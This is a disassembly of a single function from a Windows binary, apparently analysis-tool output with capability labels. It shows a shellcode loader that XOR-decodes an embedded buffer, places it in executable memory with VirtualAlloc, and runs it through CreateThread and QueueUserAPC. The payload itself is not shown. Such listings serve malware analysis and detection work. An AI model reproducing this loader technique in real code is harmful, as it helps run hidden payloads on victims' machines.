Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
movdqa xmm2, xmmword [str.1111111111111111_]
lea rbx, [0x140005040]
xor eax, eax
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x10]
movdqa xmm1, xmm2
xorps xmm0, xmm2
movdqu xmmword [rax + rbx + 0x10], xmm0
movdqu xmm0, xmmword [rax + rbx + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rax + rbx + 0x20], xmm0
movdqu xmm0, xmmword [rax + rbx + 0x30]
xorps xmm1, xmm0
movdqu xmmword [rax + rbx + 0x30], xmm1
add rax, 0x40
cmp rax, 0x180
jb 0x140001030
cmp rax, 0x1b2
jae 0x14000109f
nop word [rax + rax]
xor byte [rax + rbx], 0x31
inc rax
cmp rax, 0x1b2
jb 0x140001090
xor ecx, ecx
mov edx, 0x1b2
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400010f1
lea rdx, str.Failed_to_allocate_memory_for_sode.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001200
mov rcx, rax
lea rdx, [0x1400013d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov rcx, rdi
mov eax, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001100
movups xmm0, xmmword [rbx]
mov qword [rsp + 0x28], 0
lea r8, section..text
mov r9, rdi
mov dword [rsp + 0x20], 0
movups xmmword [rcx], xmm0
xor edx, edx
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movzx eax, word [rbx + 0x30]
mov word [rcx + 0x30], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x1400011aa
lea rdx, str.Failed_to_create_thread.
jmp 0x1400010c5
mov r8, rdi
lea rcx, section..text
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x1b2
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret